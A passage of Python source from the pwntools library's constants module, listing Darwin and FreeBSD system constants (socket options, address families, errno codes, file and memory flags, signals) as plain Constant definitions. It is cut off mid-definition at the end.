Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SO_DEBUG = Constant('SO_DEBUG',0x0001) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x0002) SO_REUSEADDR = Constant('SO_REUSEADDR',0x0004) SO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008) SO_DONTROUTE = Constant('SO_DONTROUTE',0x0010) SO_BROADCAST = Constant('SO_BROADCAST',0x0020) SO_USELOOPBACK = Constant('SO_USELOOPBACK',0x0040) SO_LINGER = Constant('SO_LINGER',0x1080) SO_LINGER_SEC = Constant('SO_LINGER_SEC',0x1080) SO_OOBINLINE = Constant('SO_OOBINLINE',0x0100) SO_REUSEPORT = Constant('SO_REUSEPORT',0x0200) SO_TIMESTAMP = Constant('SO_TIMESTAMP',0x0400) SO_TIMESTAMP_MONOTONIC = Constant('SO_TIMESTAMP_MONOTONIC',0x0800) SO_ACCEPTFILTER = Constant('SO_ACCEPTFILTER',0x1000) SO_DONTTRUNC = Constant('SO_DONTTRUNC',0x2000) SO_WANTMORE = Constant('SO_WANTMORE',0x4000) SO_WANTOOBFLAG = Constant('SO_WANTOOBFLAG',0x8000) SO_SNDBUF = Constant('SO_SNDBUF',0x1001) SO_RCVBUF = Constant('SO_RCVBUF',0x1002) SO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003) SO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004) SO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005) SO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006) SO_ERROR = Constant('SO_ERROR',0x1007) SO_TYPE = Constant('SO_TYPE',0x1008) SO_LABEL = Constant('SO_LABEL',0x1010) SO_PEERLABEL = Constant('SO_PEERLABEL',0x1011) SO_NREAD = Constant('SO_NREAD',0x1020) SO_NKE = Constant('SO_NKE',0x1021) SO_NOSIGPIPE = Constant('SO_NOSIGPIPE',0x1022) SO_NOADDRERR = Constant('SO_NOADDRERR',0x1023) SO_NWRITE = Constant('SO_NWRITE',0x1024) SO_REUSESHAREUID = Constant('SO_REUSESHAREUID',0x1025) SO_NOTIFYCONFLICT = Constant('SO_NOTIFYCONFLICT',0x1026) SO_UPCALLCLOSEWAIT = Constant('SO_UPCALLCLOSEWAIT',0x1027) SO_RANDOMPORT = Constant('SO_RANDOMPORT',0x1082) SO_NP_EXTENSIONS = Constant('SO_NP_EXTENSIONS',0x1083) SO_NUMRCVPKT = Constant('SO_NUMRCVPKT',0x1112) SO_NET_SERVICE_TYPE = Constant('SO_NET_SERVICE_TYPE',0x1116) SO_NETSVC_MARKING_LEVEL = Constant('SO_NETSVC_MARKING_LEVEL',0x1119) SO_RESOLVER_SIGNATURE = Constant('SO_RESOLVER_SIGNATURE',0x1131) SO_BINDTODEVICE = Constant('SO_BINDTODEVICE',0x1134) NET_SERVICE_TYPE_BE = Constant('NET_SERVICE_TYPE_BE',0) NET_SERVICE_TYPE_BK = Constant('NET_SERVICE_TYPE_BK',1) NET_SERVICE_TYPE_SIG = Constant('NET_SERVICE_TYPE_SIG',2) NET_SERVICE_TYPE_VI = Constant('NET_SERVICE_TYPE_VI',3) NET_SERVICE_TYPE_VO = Constant('NET_SERVICE_TYPE_VO',4) NET_SERVICE_TYPE_RV = Constant('NET_SERVICE_TYPE_RV',5) NET_SERVICE_TYPE_AV = Constant('NET_SERVICE_TYPE_AV',6) NET_SERVICE_TYPE_OAM = Constant('NET_SERVICE_TYPE_OAM',7) NET_SERVICE_TYPE_RD = Constant('NET_SERVICE_TYPE_RD',8) NETSVC_MRKNG_UNKNOWN = Constant('NETSVC_MRKNG_UNKNOWN',0) NETSVC_MRKNG_LVL_L2 = Constant('NETSVC_MRKNG_LVL_L2',1) NETSVC_MRKNG_LVL_L3L2_ALL = Constant('NETSVC_MRKNG_LVL_L3L2_ALL',2) NETSVC_MRKNG_LVL_L3L2_BK = Constant('NETSVC_MRKNG_LVL_L3L2_BK',3) SAE_ASSOCID_ANY = Constant('SAE_ASSOCID_ANY',0) SAE_CONNID_ANY = Constant('SAE_CONNID_ANY',0) CONNECT_RESUME_ON_READ_WRITE = Constant('CONNECT_RESUME_ON_READ_WRITE',0x1) CONNECT_DATA_IDEMPOTENT = Constant('CONNECT_DATA_IDEMPOTENT',0x2) CONNECT_DATA_AUTHENTICATED = Constant('CONNECT_DATA_AUTHENTICATED',0x4) SONPX_SETOPTSHUT = Constant('SONPX_SETOPTSHUT',0x000000001) SOL_SOCKET = Constant('SOL_SOCKET',0xffff) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_INET = Constant('AF_INET',2) AF_IMPLINK = Constant('AF_IMPLINK',3) AF_PUP = Constant('AF_PUP',4) AF_CHAOS = Constant('AF_CHAOS',5) AF_NS = Constant('AF_NS',6) AF_ISO = Constant('AF_ISO',7) AF_ECMA = Constant('AF_ECMA',8) AF_DATAKIT = Constant('AF_DATAKIT',9) AF_CCITT = Constant('AF_CCITT',10) AF_SNA = Constant('AF_SNA',11) AF_DECnet = Constant('AF_DECnet',12) AF_DLI = Constant('AF_DLI',13) AF_LAT = Constant('AF_LAT',14) AF_HYLINK = Constant('AF_HYLINK',15) AF_APPLETALK = Constant('AF_APPLETALK',16) AF_ROUTE = Constant('AF_ROUTE',17) AF_LINK = Constant('AF_LINK',18) pseudo_AF_XTP = Constant('pseudo_AF_XTP',19) AF_COIP = Constant('AF_COIP',20) AF_CNT = Constant('AF_CNT',21) pseudo_AF_RTIP = Constant('pseudo_AF_RTIP',22) AF_IPX = Constant('AF_IPX',23) AF_SIP = Constant('AF_SIP',24) pseudo_AF_PIP = Constant('pseudo_AF_PIP',25) AF_NDRV = Constant('AF_NDRV',27) AF_ISDN = Constant('AF_ISDN',28) pseudo_AF_KEY = Constant('pseudo_AF_KEY',29) AF_INET6 = Constant('AF_INET6',30) AF_NATM = Constant('AF_NATM',31) AF_SYSTEM = Constant('AF_SYSTEM',32) AF_NETBIOS = Constant('AF_NETBIOS',33) AF_PPP = Constant('AF_PPP',34) pseudo_AF_HDRCMPLT = Constant('pseudo_AF_HDRCMPLT',35) AF_RESERVED_36 = Constant('AF_RESERVED_36',36) AF_IEEE80211 = Constant('AF_IEEE80211',37) AF_UTUN = Constant('AF_UTUN',38) AF_VSOCK = Constant('AF_VSOCK',40) AF_MAX = Constant('AF_MAX',41) SOCK_MAXADDRLEN = Constant('SOCK_MAXADDRLEN',255) _SS_MAXSIZE = Constant('_SS_MAXSIZE',128) NET_RT_DUMP = Constant('NET_RT_DUMP',1) NET_RT_FLAGS = Constant('NET_RT_FLAGS',2) NET_RT_IFLIST = Constant('NET_RT_IFLIST',3) NET_RT_STAT = Constant('NET_RT_STAT',4) NET_RT_TRASH = Constant('NET_RT_TRASH',5) NET_RT_IFLIST2 = Constant('NET_RT_IFLIST2',6) NET_RT_DUMP2 = Constant('NET_RT_DUMP2',7) NET_RT_FLAGS_PRIV = Constant('NET_RT_FLAGS_PRIV',10) NET_RT_MAXID = Constant('NET_RT_MAXID',11) SOMAXCONN = Constant('SOMAXCONN',128) MSG_OOB = Constant('MSG_OOB',0x1) MSG_PEEK = Constant('MSG_PEEK',0x2) MSG_DONTROUTE = Constant('MSG_DONTROUTE',0x4) MSG_EOR = Constant('MSG_EOR',0x8) MSG_TRUNC = Constant('MSG_TRUNC',0x10) MSG_CTRUNC = Constant('MSG_CTRUNC',0x20) MSG_WAITALL = Constant('MSG_WAITALL',0x40) MSG_DONTWAIT = Constant('MSG_DONTWAIT',0x80) MSG_EOF = Constant('MSG_EOF',0x100) MSG_WAITSTREAM = Constant('MSG_WAITSTREAM',0x200) MSG_FLUSH = Constant('MSG_FLUSH',0x400) MSG_HOLD = Constant('MSG_HOLD',0x800) MSG_SEND = Constant('MSG_SEND',0x1000) MSG_HAVEMORE = Constant('MSG_HAVEMORE',0x2000) MSG_RCVMORE = Constant('MSG_RCVMORE',0x4000) MSG_NEEDSA = Constant('MSG_NEEDSA',0x10000) MSG_NOSIGNAL = Constant('MSG_NOSIGNAL',0x80000) MSG_USEUPCALL = Constant('MSG_USEUPCALL',0x80000000) CMGROUP_MAX = Constant('CMGROUP_MAX',16) SCM_RIGHTS = Constant('SCM_RIGHTS',0x01) SCM_TIMESTAMP = Constant('SCM_TIMESTAMP',0x02) SCM_CREDS = Constant('SCM_CREDS',0x03) SCM_TIMESTAMP_MONOTONIC = Constant('SCM_TIMESTAMP_MONOTONIC',0x04) SHUT_RD = Constant('SHUT_RD',0) SHUT_WR = Constant('SHUT_WR',1) SHUT_RDWR = Constant('SHUT_RDWR',2) SBUF_FIXEDLEN = Constant('SBUF_FIXEDLEN',0x00000000) SBUF_AUTOEXTEND = Constant('SBUF_AUTOEXTEND',0x00000001) SBUF_USRFLAGMSK = Constant('SBUF_USRFLAGMSK',0x0000ffff) SBUF_DYNAMIC = Constant('SBUF_DYNAMIC',0x00010000) SBUF_FINISHED = Constant('SBUF_FINISHED',0x00020000) SBUF_OVERFLOWED = Constant('SBUF_OVERFLOWED',0x00040000) SBUF_DYNSTRUCT = Constant('SBUF_DYNSTRUCT',0x00080000) SYSPROTO_EVENT = Constant('SYSPROTO_EVENT',1) SYSPROTO_CONTROL = Constant('SYSPROTO_CONTROL',2) AF_SYS_CONTROL = Constant('AF_SYS_CONTROL',2) SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_APP_APPROVED',0x00000001) SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_TRACKER',0x00000002) SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT = Constant('SO_TRACKER_ATTRIBUTE_FLAGS_DOMAIN_SHORT',0x00000004) NS_GETRAWENCRYPTED = Constant('NS_GETRAWENCRYPTED',0x00000001) Gallopsled-pwntools-3ad86ec/pwnlib/constants/freebsd.py000066400000000000000000001315631507273764500235060ustar00rootroot00000000000000from pwnlib.constants.constant import Constant STDIN_FILENO = Constant('STDIN_FILENO',0) STDOUT_FILENO = Constant('STDOUT_FILENO',1) STDERR_FILENO = Constant('STDERR_FILENO',2) __BSD_VISIBLE = Constant('__BSD_VISIBLE',99999999) __POSIX_VISIBLE = Constant('__POSIX_VISIBLE',99999999) __XSI_VISIBLE = Constant('__XSI_VISIBLE',99999999) INADDR_ANY = Constant('INADDR_ANY',0) INADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff) INADDR_NONE = Constant('INADDR_NONE',0xffffffff) INADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001) EPERM = Constant('EPERM',1) ENOENT = Constant('ENOENT',2) ESRCH = Constant('ESRCH',3) EINTR = Constant('EINTR',4) EIO = Constant('EIO',5) ENXIO = Constant('ENXIO',6) E2BIG = Constant('E2BIG',7) ENOEXEC = Constant('ENOEXEC',8) EBADF = Constant('EBADF',9) ECHILD = Constant('ECHILD',10) EDEADLK = Constant('EDEADLK',11) ENOMEM = Constant('ENOMEM',12) EACCES = Constant('EACCES',13) EFAULT = Constant('EFAULT',14) ENOTBLK = Constant('ENOTBLK',15) EBUSY = Constant('EBUSY',16) EEXIST = Constant('EEXIST',17) EXDEV = Constant('EXDEV',18) ENODEV = Constant('ENODEV',19) ENOTDIR = Constant('ENOTDIR',20) EISDIR = Constant('EISDIR',21) EINVAL = Constant('EINVAL',22) ENFILE = Constant('ENFILE',23) EMFILE = Constant('EMFILE',24) ENOTTY = Constant('ENOTTY',25) ETXTBSY = Constant('ETXTBSY',26) EFBIG = Constant('EFBIG',27) ENOSPC = Constant('ENOSPC',28) ESPIPE = Constant('ESPIPE',29) EROFS = Constant('EROFS',30) EMLINK = Constant('EMLINK',31) EPIPE = Constant('EPIPE',32) EDOM = Constant('EDOM',33) ERANGE = Constant('ERANGE',34) EAGAIN = Constant('EAGAIN',35) EWOULDBLOCK = Constant('EWOULDBLOCK',35) EINPROGRESS = Constant('EINPROGRESS',36) EALREADY = Constant('EALREADY',37) ENOTSOCK = Constant('ENOTSOCK',38) EDESTADDRREQ = Constant('EDESTADDRREQ',39) EMSGSIZE = Constant('EMSGSIZE',40) EPROTOTYPE = Constant('EPROTOTYPE',41) ENOPROTOOPT = Constant('ENOPROTOOPT',42) EPROTONOSUPPORT = Constant('EPROTONOSUPPORT',43) ESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',44) EOPNOTSUPP = Constant('EOPNOTSUPP',45) ENOTSUP = Constant('ENOTSUP',45) EPFNOSUPPORT = Constant('EPFNOSUPPORT',46) EAFNOSUPPORT = Constant('EAFNOSUPPORT',47) EADDRINUSE = Constant('EADDRINUSE',48) EADDRNOTAVAIL = Constant('EADDRNOTAVAIL',49) ENETDOWN = Constant('ENETDOWN',50) ENETUNREACH = Constant('ENETUNREACH',51) ENETRESET = Constant('ENETRESET',52) ECONNABORTED = Constant('ECONNABORTED',53) ECONNRESET = Constant('ECONNRESET',54) ENOBUFS = Constant('ENOBUFS',55) EISCONN = Constant('EISCONN',56) ENOTCONN = Constant('ENOTCONN',57) ESHUTDOWN = Constant('ESHUTDOWN',58) ETOOMANYREFS = Constant('ETOOMANYREFS',59) ETIMEDOUT = Constant('ETIMEDOUT',60) ECONNREFUSED = Constant('ECONNREFUSED',61) ELOOP = Constant('ELOOP',62) ENAMETOOLONG = Constant('ENAMETOOLONG',63) EHOSTDOWN = Constant('EHOSTDOWN',64) EHOSTUNREACH = Constant('EHOSTUNREACH',65) ENOTEMPTY = Constant('ENOTEMPTY',66) EPROCLIM = Constant('EPROCLIM',67) EUSERS = Constant('EUSERS',68) EDQUOT = Constant('EDQUOT',69) ESTALE = Constant('ESTALE',70) EREMOTE = Constant('EREMOTE',71) EBADRPC = Constant('EBADRPC',72) ERPCMISMATCH = Constant('ERPCMISMATCH',73) EPROGUNAVAIL = Constant('EPROGUNAVAIL',74) EPROGMISMATCH = Constant('EPROGMISMATCH',75) EPROCUNAVAIL = Constant('EPROCUNAVAIL',76) ENOLCK = Constant('ENOLCK',77) ENOSYS = Constant('ENOSYS',78) EFTYPE = Constant('EFTYPE',79) EAUTH = Constant('EAUTH',80) ENEEDAUTH = Constant('ENEEDAUTH',81) EIDRM = Constant('EIDRM',82) ENOMSG = Constant('ENOMSG',83) EOVERFLOW = Constant('EOVERFLOW',84) ECANCELED = Constant('ECANCELED',85) EILSEQ = Constant('EILSEQ',86) ENOATTR = Constant('ENOATTR',87) EDOOFUS = Constant('EDOOFUS',88) EBADMSG = Constant('EBADMSG',89) EMULTIHOP = Constant('EMULTIHOP',90) ENOLINK = Constant('ENOLINK',91) EPROTO = Constant('EPROTO',92) ENOTCAPABLE = Constant('ENOTCAPABLE',93) ECAPMODE = Constant('ECAPMODE',94) ELAST = Constant('ELAST',94) O_RDONLY = Constant('O_RDONLY',0x0000) O_WRONLY = Constant('O_WRONLY',0x0001) O_RDWR = Constant('O_RDWR',0x0002) O_ACCMODE = Constant('O_ACCMODE',0x0003) FREAD = Constant('FREAD',0x0001) FWRITE = Constant('FWRITE',0x0002) O_NONBLOCK = Constant('O_NONBLOCK',0x0004) O_APPEND = Constant('O_APPEND',0x0008) O_SHLOCK = Constant('O_SHLOCK',0x0010) O_EXLOCK = Constant('O_EXLOCK',0x0020) O_ASYNC = Constant('O_ASYNC',0x0040) O_FSYNC = Constant('O_FSYNC',0x0080) O_SYNC = Constant('O_SYNC',0x0080) O_NOFOLLOW = Constant('O_NOFOLLOW',0x0100) O_CREAT = Constant('O_CREAT',0x0200) O_TRUNC = Constant('O_TRUNC',0x0400) O_EXCL = Constant('O_EXCL',0x0800) O_NOCTTY = Constant('O_NOCTTY',0x8000) O_DIRECT = Constant('O_DIRECT',0x00010000) O_DIRECTORY = Constant('O_DIRECTORY',0x00020000) O_EXEC = Constant('O_EXEC',0x00040000) O_TTY_INIT = Constant('O_TTY_INIT',0x00080000) O_CLOEXEC = Constant('O_CLOEXEC',0x00100000) FAPPEND = Constant('FAPPEND',0x0008) FASYNC = Constant('FASYNC',0x0040) FFSYNC = Constant('FFSYNC',0x0080) FNONBLOCK = Constant('FNONBLOCK',0x0004) FNDELAY = Constant('FNDELAY',0x0004) O_NDELAY = Constant('O_NDELAY',0x0004) FRDAHEAD = Constant('FRDAHEAD',0x0200) AT_FDCWD = Constant('AT_FDCWD',-100) AT_EACCESS = Constant('AT_EACCESS',0x100) AT_SYMLINK_NOFOLLOW = Constant('AT_SYMLINK_NOFOLLOW',0x200) AT_SYMLINK_FOLLOW = Constant('AT_SYMLINK_FOLLOW',0x400) AT_REMOVEDIR = Constant('AT_REMOVEDIR',0x800) F_DUPFD = Constant('F_DUPFD',0) F_GETFD = Constant('F_GETFD',1) F_SETFD = Constant('F_SETFD',2) F_GETFL = Constant('F_GETFL',3) F_SETFL = Constant('F_SETFL',4) F_GETOWN = Constant('F_GETOWN',5) F_SETOWN = Constant('F_SETOWN',6) F_OGETLK = Constant('F_OGETLK',7) F_OSETLK = Constant('F_OSETLK',8) F_OSETLKW = Constant('F_OSETLKW',9) F_DUP2FD = Constant('F_DUP2FD',10) F_GETLK = Constant('F_GETLK',11) F_SETLK = Constant('F_SETLK',12) F_SETLKW = Constant('F_SETLKW',13) F_SETLK_REMOTE = Constant('F_SETLK_REMOTE',14) F_READAHEAD = Constant('F_READAHEAD',15) F_RDAHEAD = Constant('F_RDAHEAD',16) F_DUPFD_CLOEXEC = Constant('F_DUPFD_CLOEXEC',17) F_DUP2FD_CLOEXEC = Constant('F_DUP2FD_CLOEXEC',18) FD_CLOEXEC = Constant('FD_CLOEXEC',1) F_RDLCK = Constant('F_RDLCK',1) F_UNLCK = Constant('F_UNLCK',2) F_WRLCK = Constant('F_WRLCK',3) F_UNLCKSYS = Constant('F_UNLCKSYS',4) F_CANCEL = Constant('F_CANCEL',5) LOCK_SH = Constant('LOCK_SH',0x01) LOCK_EX = Constant('LOCK_EX',0x02) LOCK_NB = Constant('LOCK_NB',0x04) LOCK_UN = Constant('LOCK_UN',0x08) POSIX_FADV_NORMAL = Constant('POSIX_FADV_NORMAL',0) POSIX_FADV_RANDOM = Constant('POSIX_FADV_RANDOM',1) POSIX_FADV_SEQUENTIAL = Constant('POSIX_FADV_SEQUENTIAL',2) POSIX_FADV_WILLNEED = Constant('POSIX_FADV_WILLNEED',3) POSIX_FADV_DONTNEED = Constant('POSIX_FADV_DONTNEED',4) POSIX_FADV_NOREUSE = Constant('POSIX_FADV_NOREUSE',5) INHERIT_SHARE = Constant('INHERIT_SHARE',0) INHERIT_COPY = Constant('INHERIT_COPY',1) INHERIT_NONE = Constant('INHERIT_NONE',2) PROT_NONE = Constant('PROT_NONE',0x00) PROT_READ = Constant('PROT_READ',0x01) PROT_WRITE = Constant('PROT_WRITE',0x02) PROT_EXEC = Constant('PROT_EXEC',0x04) MAP_SHARED = Constant('MAP_SHARED',0x0001) MAP_PRIVATE = Constant('MAP_PRIVATE',0x0002) MAP_COPY = Constant('MAP_COPY',0x0002) MAP_FIXED = Constant('MAP_FIXED',0x0010) MAP_RENAME = Constant('MAP_RENAME',0x0020) MAP_NORESERVE = Constant('MAP_NORESERVE',0x0040) MAP_RESERVED0080 = Constant('MAP_RESERVED0080',0x0080) MAP_RESERVED0100 = Constant('MAP_RESERVED0100',0x0100) MAP_HASSEMAPHORE = Constant('MAP_HASSEMAPHORE',0x0200) MAP_STACK = Constant('MAP_STACK',0x0400) MAP_NOSYNC = Constant('MAP_NOSYNC',0x0800) MAP_FILE = Constant('MAP_FILE',0x0000) MAP_ANON = Constant('MAP_ANON',0x1000) MAP_ANONYMOUS = Constant('MAP_ANONYMOUS',0x1000) MAP_NOCORE = Constant('MAP_NOCORE',0x00020000) MAP_PREFAULT_READ = Constant('MAP_PREFAULT_READ',0x00040000) MCL_CURRENT = Constant('MCL_CURRENT',0x0001) MCL_FUTURE = Constant('MCL_FUTURE',0x0002) MS_SYNC = Constant('MS_SYNC',0x0000) MS_ASYNC = Constant('MS_ASYNC',0x0001) MS_INVALIDATE = Constant('MS_INVALIDATE',0x0002) _MADV_NORMAL = Constant('_MADV_NORMAL',0) _MADV_RANDOM = Constant('_MADV_RANDOM',1) _MADV_SEQUENTIAL = Constant('_MADV_SEQUENTIAL',2) _MADV_WILLNEED = Constant('_MADV_WILLNEED',3) _MADV_DONTNEED = Constant('_MADV_DONTNEED',4) MADV_NORMAL = Constant('MADV_NORMAL',0) MADV_RANDOM = Constant('MADV_RANDOM',1) MADV_SEQUENTIAL = Constant('MADV_SEQUENTIAL',2) MADV_WILLNEED = Constant('MADV_WILLNEED',3) MADV_DONTNEED = Constant('MADV_DONTNEED',4) MADV_FREE = Constant('MADV_FREE',5) MADV_NOSYNC = Constant('MADV_NOSYNC',6) MADV_AUTOSYNC = Constant('MADV_AUTOSYNC',7) MADV_NOCORE = Constant('MADV_NOCORE',8) MADV_CORE = Constant('MADV_CORE',9) MADV_PROTECT = Constant('MADV_PROTECT',10) MINCORE_INCORE = Constant('MINCORE_INCORE',0x1) MINCORE_REFERENCED = Constant('MINCORE_REFERENCED',0x2) MINCORE_MODIFIED = Constant('MINCORE_MODIFIED',0x4) MINCORE_REFERENCED_OTHER = Constant('MINCORE_REFERENCED_OTHER',0x8) MINCORE_MODIFIED_OTHER = Constant('MINCORE_MODIFIED_OTHER',0x10) POSIX_MADV_NORMAL = Constant('POSIX_MADV_NORMAL',0) POSIX_MADV_RANDOM = Constant('POSIX_MADV_RANDOM',1) POSIX_MADV_SEQUENTIAL = Constant('POSIX_MADV_SEQUENTIAL',2) POSIX_MADV_WILLNEED = Constant('POSIX_MADV_WILLNEED',3) POSIX_MADV_DONTNEED = Constant('POSIX_MADV_DONTNEED',4) SIGHUP = Constant('SIGHUP',1) SIGINT = Constant('SIGINT',2) SIGQUIT = Constant('SIGQUIT',3) SIGILL = Constant('SIGILL',4) SIGTRAP = Constant('SIGTRAP',5) SIGABRT = Constant('SIGABRT',6) SIGIOT = Constant('SIGIOT',6) SIGEMT = Constant('SIGEMT',7) SIGFPE = Constant('SIGFPE',8) SIGKILL = Constant('SIGKILL',9) SIGBUS = Constant('SIGBUS',10) SIGSEGV = Constant('SIGSEGV',11) SIGSYS = Constant('SIGSYS',12) SIGPIPE = Constant('SIGPIPE',13) SIGALRM = Constant('SIGALRM',14) SIGTERM = Constant('SIGTERM',15) SIGURG = Constant('SIGURG',16) SIGSTOP = Constant('SIGSTOP',17) SIGTSTP = Constant('SIGTSTP',18) SIGCONT = Constant('SIGCONT',19) SIGCHLD = Constant('SIGCHLD',20) SIGTTIN = Constant('SIGTTIN',21) SIGTTOU = Constant('SIGTTOU',22) SIGIO = Constant('SIGIO',23) SIGXCPU = Constant('SIGXCPU',24) SIGXFSZ = Constant('SIGXFSZ',25) SIGVTALRM = Constant('SIGVTALRM',26) SIGPROF = Constant('SIGPROF',27) SIGWINCH = Constant('SIGWINCH',28) SIGINFO = Constant('SIGINFO',29) SIGUSR1 = Constant('SIGUSR1',30) SIGUSR2 = Constant('SIGUSR2',31) SIGTHR = Constant('SIGTHR',32) SIGLWP = Constant('SIGLWP',32) SIGRTMIN = Constant('SIGRTMIN',65) SIGRTMAX = Constant('SIGRTMAX',126) SIGEV_NONE = Constant('SIGEV_NONE',0) SIGEV_SIGNAL = Constant('SIGEV_SIGNAL',1) SIGEV_THREAD = Constant('SIGEV_THREAD',2) SIGEV_KEVENT = Constant('SIGEV_KEVENT',3) SIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4) ILL_ILLOPC = Constant('ILL_ILLOPC',1) ILL_ILLOPN = Constant('ILL_ILLOPN',2) ILL_ILLADR = Constant('ILL_ILLADR',3) ILL_ILLTRP = Constant('ILL_ILLTRP',4) ILL_PRVOPC = Constant('ILL_PRVOPC',5) ILL_PRVREG = Constant('ILL_PRVREG',6) ILL_COPROC = Constant('ILL_COPROC',7) ILL_BADSTK = Constant('ILL_BADSTK',8) BUS_ADRALN = Constant('BUS_ADRALN',1) BUS_ADRERR = Constant('BUS_ADRERR',2) BUS_OBJERR = Constant('BUS_OBJERR',3) SEGV_MAPERR = Constant('SEGV_MAPERR',1) SEGV_ACCERR = Constant('SEGV_ACCERR',2) FPE_INTOVF = Constant('FPE_INTOVF',1) FPE_INTDIV = Constant('FPE_INTDIV',2) FPE_FLTDIV = Constant('FPE_FLTDIV',3) FPE_FLTOVF = Constant('FPE_FLTOVF',4) FPE_FLTUND = Constant('FPE_FLTUND',5) FPE_FLTRES = Constant('FPE_FLTRES',6) FPE_FLTINV = Constant('FPE_FLTINV',7) FPE_FLTSUB = Constant('FPE_FLTSUB',8) TRAP_BRKPT = Constant('TRAP_BRKPT',1) TRAP_TRACE = Constant('TRAP_TRACE',2) TRAP_DTRACE = Constant('TRAP_DTRACE',3) CLD_EXITED = Constant('CLD_EXITED',1) CLD_KILLED = Constant('CLD_KILLED',2) CLD_DUMPED = Constant('CLD_DUMPED',3) CLD_TRAPPED = Constant('CLD_TRAPPED',4) CLD_STOPPED = Constant('CLD_STOPPED',5) CLD_CONTINUED = Constant('CLD_CONTINUED',6) POLL_IN = Constant('POLL_IN',1) POLL_OUT = Constant('POLL_OUT',2) POLL_MSG = Constant('POLL_MSG',3) POLL_ERR = Constant('POLL_ERR',4) POLL_PRI = Constant('POLL_PRI',5) POLL_HUP = Constant('POLL_HUP',6) SA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x0008) SA_ONSTACK = Constant('SA_ONSTACK',0x0001) SA_RESTART = Constant('SA_RESTART',0x0002) SA_RESETHAND = Constant('SA_RESETHAND',0x0004) SA_NODEFER = Constant('SA_NODEFER',0x0010) SA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x0020) SA_SIGINFO = Constant('SA_SIGINFO',0x0040) NSIG = Constant('NSIG',32) SI_NOINFO = Constant('SI_NOINFO',0) SI_USER = Constant('SI_USER',0x10001) SI_QUEUE = Constant('SI_QUEUE',0x10002) SI_TIMER = Constant('SI_TIMER',0x10003) SI_ASYNCIO = Constant('SI_ASYNCIO',0x10004) SI_MESGQ = Constant('SI_MESGQ',0x10005) SI_KERNEL = Constant('SI_KERNEL',0x10006) SI_LWP = Constant('SI_LWP',0x10007) SI_UNDEFINED = Constant('SI_UNDEFINED',0) SS_ONSTACK = Constant('SS_ONSTACK',0x0001) SS_DISABLE = Constant('SS_DISABLE',0x0004) SV_ONSTACK = Constant('SV_ONSTACK',0x0001) SV_INTERRUPT = Constant('SV_INTERRUPT',0x0002) SV_RESETHAND = Constant('SV_RESETHAND',0x0004) SV_NODEFER = Constant('SV_NODEFER',0x0010) SV_NOCLDSTOP = Constant('SV_NOCLDSTOP',0x0008) SV_SIGINFO = Constant('SV_SIGINFO',0x0040) SIG_BLOCK = Constant('SIG_BLOCK',1) SIG_UNBLOCK = Constant('SIG_UNBLOCK',2) SIG_SETMASK = Constant('SIG_SETMASK',3) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = Constant('SOCK_RAW',3) SOCK_RDM = Constant('SOCK_RDM',4) SOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5) SO_DEBUG = Constant('SO_DEBUG',0x0001) SO_ACCEPTCONN = Constant('SO_ACCEPTCONN',0x0002) SO_REUSEADDR = Constant('SO_REUSEADDR',0x0004) SO_KEEPALIVE = Constant('SO_KEEPALIVE',0x0008) SO_DONTROUTE = Constant('SO_DONTROUTE',0x0010) SO_BROADCAST = Constant('SO_BROADCAST',0x0020) SO_USELOOPBACK = Constant('SO_USELOOPBACK',0x0040) SO_LINGER = Constant('SO_LINGER',0x0080) SO_OOBINLINE = Constant('SO_OOBINLINE',0x0100) SO_REUSEPORT = Constant('SO_REUSEPORT',0x0200) SO_TIMESTAMP = Constant('SO_TIMESTAMP',0x0400) SO_NOSIGPIPE = Constant('SO_NOSIGPIPE',0x0800) SO_ACCEPTFILTER = Constant('SO_ACCEPTFILTER',0x1000) SO_BINTIME = Constant('SO_BINTIME',0x2000) SO_NO_OFFLOAD = Constant('SO_NO_OFFLOAD',0x4000) SO_NO_DDP = Constant('SO_NO_DDP',0x8000) SO_SNDBUF = Constant('SO_SNDBUF',0x1001) SO_RCVBUF = Constant('SO_RCVBUF',0x1002) SO_SNDLOWAT = Constant('SO_SNDLOWAT',0x1003) SO_RCVLOWAT = Constant('SO_RCVLOWAT',0x1004) SO_SNDTIMEO = Constant('SO_SNDTIMEO',0x1005) SO_RCVTIMEO = Constant('SO_RCVTIMEO',0x1006) SO_ERROR = Constant('SO_ERROR',0x1007) SO_TYPE = Constant('SO_TYPE',0x1008) SO_LABEL = Constant('SO_LABEL',0x1009) SO_PEERLABEL = Constant('SO_PEERLABEL',0x1010) SO_LISTENQLIMIT = Constant('SO_LISTENQLIMIT',0x1011) SO_LISTENQLEN = Constant('SO_LISTENQLEN',0x1012) SO_LISTENINCQLEN = Constant('SO_LISTENINCQLEN',0x1013) SO_SETFIB = Constant('SO_SETFIB',0x1014) SO_USER_COOKIE = Constant('SO_USER_COOKIE',0x1015) SO_PROTOCOL = Constant('SO_PROTOCOL',0x1016) SO_PROTOTYPE = Constant('SO_PROTOTYPE',0x1016) SO_VENDOR = Constant('SO_VENDOR',0x80000000) SOL_SOCKET = Constant('SOL_SOCKET',0xffff) AF_UNSPEC = Constant('AF_UNSPEC',0) AF_UNIX = Constant('AF_UNIX',1) AF_INET = Constant('AF_INET',2) AF_IMPLINK = Constant('AF_IMPLINK',3) AF_PUP = Constant('AF_PUP',4) AF_CHAOS = Constant('AF_CHAOS',5) AF_NETBIOS = 